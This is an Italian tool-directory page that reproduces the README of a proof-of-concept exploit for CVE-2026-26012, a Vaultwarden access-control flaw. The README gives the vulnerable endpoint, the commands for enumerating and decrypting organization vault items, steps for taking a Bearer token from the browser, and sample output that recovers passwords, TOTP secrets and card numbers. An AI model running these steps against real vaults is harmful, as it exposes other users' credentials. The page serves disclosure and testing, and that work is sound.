Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Strumenti/GitHubGitHub/dulieno/cve-2026-26012
Analisi delle VulnerabilitàExploitSicurezza WebCrittografiaPenetration TestingApprendimento e Formazione
GitHubdulieno/cve-2026-26012

CVE-2026-26012

Proof-of-concept exploit per CVE-2026-26012, un controllo degli accessi non corretto in Vaultwarden che consente a qualsiasi membro dell'organizzazione di enumerare e decrittare tutte le cifrature, bypassando i permessi delle raccolte.

Vedi Repository
1147 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-26012 — PoC di Enumerazione Cipher per Vaultwarden

AI Assisted License

Enumerazione Completa dei Cipher che Ignora i Permessi delle Collezioni dell'Organizzazione

Una proof-of-concept per CVE-2026-26012, una vulnerabilità di controllo degli accessi non corretto in Vaultwarden (<= 1.35.2) che consente a qualsiasi membro dell'organizzazione di recuperare e decrittare tutti i cipher all'interno dell'organizzazione, indipendentemente dai permessi a livello di collezione.

🤖 Nota: Questo progetto è stato sviluppato con l'assistenza di Claude 3 Opus. L'IA è stata utilizzata per la generazione del codice, la struttura architetturale e la documentazione. Tutti gli output sono stati revisionati e testati manualmente per la garanzia della qualità.

Panoramica

CVECVE-2026-26012
AdvisoryGHSA-h265-g7rm-h337
Versioni AffetteVaultwarden ≤ 1.35.2
Corretto in1.35.3
CVSS 3.16.5 (Medio) — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
CWECWE-863 — Autorizzazione non corretta
CreditiScoperta da @odgrso, corretta da @BlackDex

La Vulnerabilità

L'endpoint API GET /api/ciphers/organization-details è accessibile a qualsiasi membro dell'organizzazione. Internamente, chiama Cipher::find_by_org che restituisce tutti i cipher dell'organizzazione, per poi servirli con CipherSyncType::Organization senza applicare il controllo degli accessi a livello di collezione.

Poiché tutti i cipher dell'organizzazione condividono la stessa chiave di crittografia dell'organizzazione (che ogni membro riceve al momento dell'adesione), i cipher divulgati possono essere completamente decrittati lato client.

Membro regolare dell'organizzazione (limitato alla collezione "Public")
    │
    ├── GET /api/sync                     → 5 cipher (corretto)
    │
    └── GET /api/ciphers/organization-details
            └──→ 47 cipher (TUTTI i cipher dell'organizzazione — BUG)
                  └──→ 42 cipher da collezioni riservate (DIVULGATI)
                        └──→ Decrittabili con la chiave dell'organizzazione che il membro possiede già

Contenuto del Repository

.
├── README.md                   # Questo file
├── poc_cve_2026_26012.py       # Fase 1: Enumerazione dei cipher e rilevamento delle perdite
├── poc_decrypt.py              # Fase 2: Recupero della chiave dell'organizzazione e decrittazione dei cipher
└── LICENSE

Requisiti

  • Python 3.8+
  • cryptography (per la decrittazione della Fase 2)
  • argon2-cffi (solo se l'istanza target utilizza Argon2id KDF)
pip install cryptography
pip install argon2-cffi  # opzionale

Utilizzo

Fase 1 — Enumerare i cipher divulgati

Rileva se l'istanza è vulnerabile confrontando i cipher restituiti dal normale endpoint /api/sync rispetto all'endpoint vulnerabile /api/ciphers/organization-details.

# Autenticati tramite browser (SSO + 2FA supportati), poi passa il Bearer token
python3 poc_cve_2026_26012.py \
    --url https://vaultwarden.example.com \
    --token "eyJhbGciOi..." \
    --org-id "ORG-UUID" \
    --output results.json
Tutte le opzioni di autenticazione
# Bearer token (consigliato — funziona con SSO + 2FA)
--token "eyJhbGciOi..."

# Cookie di sessione
--cookie "VAULTWARDEN_SESSION=abc123..."

# Header Cookie grezzo (più cookie)
--cookie-header "session=abc; token=xyz"

# Accesso diretto con password (SOLO senza SSO e senza 2FA)
--email [email protected] --password "MasterPassword"

Come estrarre il tuo Bearer token:

  1. Accedi al vault web di Vaultwarden (completa SSO + 2FA come al solito)
  2. Apri gli Strumenti per sviluppatori del browser (F12) → scheda Rete
  3. Clicca un qualsiasi elemento nel vault per attivare una chiamata API
  4. Trova una richiesta a /api/... e copia il valore dell'header Authorization
Opzioni aggiuntive
--no-verify-ssl     # Salta la verifica SSL (certificati autofirmati)
--show-all          # Mostra anche i cipher legittimamente accessibili
--max-display 50    # Numero massimo di cipher divulgati da mostrare (predefinito: 20)
--output results.json  # Esporta i risultati completi in JSON

Fase 2 — Decrittare i cipher divulgati

Recupera la chiave di crittografia dell'organizzazione e decritta tutti i cipher divulgati dalla Fase 1.

python3 poc_decrypt.py \
    --url https://vaultwarden.example.com \
    --token "eyJhbGciOi..." \
    --email [email protected] \
    --master-password "YourMasterPassword" \
    --org-id "ORG-UUID" \
    --leaked-json results.json \
    --output decrypted.json

Nota: --master-password è la tua password principale di Vaultwarden, utilizzata localmente per derivare la catena di chiavi di decrittazione. Non viene mai inviata in rete. Il --token gestisce l'autenticazione API.

Risoluzione dei problemi: Se la decrittazione della chiave fallisce, aggiungi --debug per vedere i valori intermedi a ogni passaggio. Lo script prova automaticamente 5 strategie (HKDF moderno, HMAC legacy, chiave grezza e varianti HMAC-skip) per gestire diverse età e configurazioni degli account.

Alternativa: fornire direttamente la chiave dell'organizzazione

Se hai già la chiave dell'organizzazione a 64 byte (128 caratteri esadecimali):

python3 poc_decrypt.py \
    --org-key-hex "aabbccdd...128_hex_chars..." \
    --leaked-json results.json \
    --output decrypted.json

Esempio di Output

[*] === Catena di Recupero della Chiave ===

[1/6] Recupero dei parametri KDF...
       KDF: PBKDF2-SHA256, iterazioni: 600000
[2/6] Derivazione della chiave principale...
[3/6] Stretching della chiave principale (HKDF-Expand)...
[4/6] Recupero delle chiavi crittografate da /api/sync...
       Organizzazione: ACME Corp
[5/6] Decrittazione della chiave simmetrica utente...
[6/6] Decrittazione della chiave privata RSA → Chiave dell'organizzazione...

[+] Chiave dell'organizzazione recuperata con successo!

[*] Decrittazione di 42 cipher...

============================================================
  RISULTATI DELLA DECRITTAZIONE
============================================================
  Totale:     42
  Decrittati: 42
  Errori:     0

  RIEPILOGO DELL'IMPATTO
  Password recuperate:     35
  Segreti TOTP recuperati:  12
  Numeri di carta recuperati:  3
============================================================

Come Funziona

Catena di Derivazione delle Chiavi

Ogni membro dell'organizzazione possiede già la chiave simmetrica dell'organizzazione, crittografata con la propria chiave pubblica RSA. La catena di decrittazione è:

Password Principale + Email
    │  PBKDF2-SHA256 o Argon2id
    ▼
Chiave Principale (32 byte)
    │  HKDF-Expand-SHA256
    ▼
Chiave Stretched: encKey (32B) ║ macKey (32B)
    │  AES-256-CBC (decritta profile.key)
    ▼
Chiave Simmetrica Utente: encKey (32B) ║ macKey (32B)
    │  AES-256-CBC (decritta profile.privateKey)
    ▼
Chiave Privata RSA (PKCS#8 DER a 2048 bit)
    │  RSA-OAEP-SHA1 (decritta profile.organizations[].key)
    ▼
Chiave dell'Organizzazione: encKey (32B) ║ macKey (32B)
    │  AES-256-CBC + HMAC-SHA256
    ▼
Dati dei cipher decrittati

Perché l'ACL delle Collezioni Non Protegge i Dati

Scarica lo strumento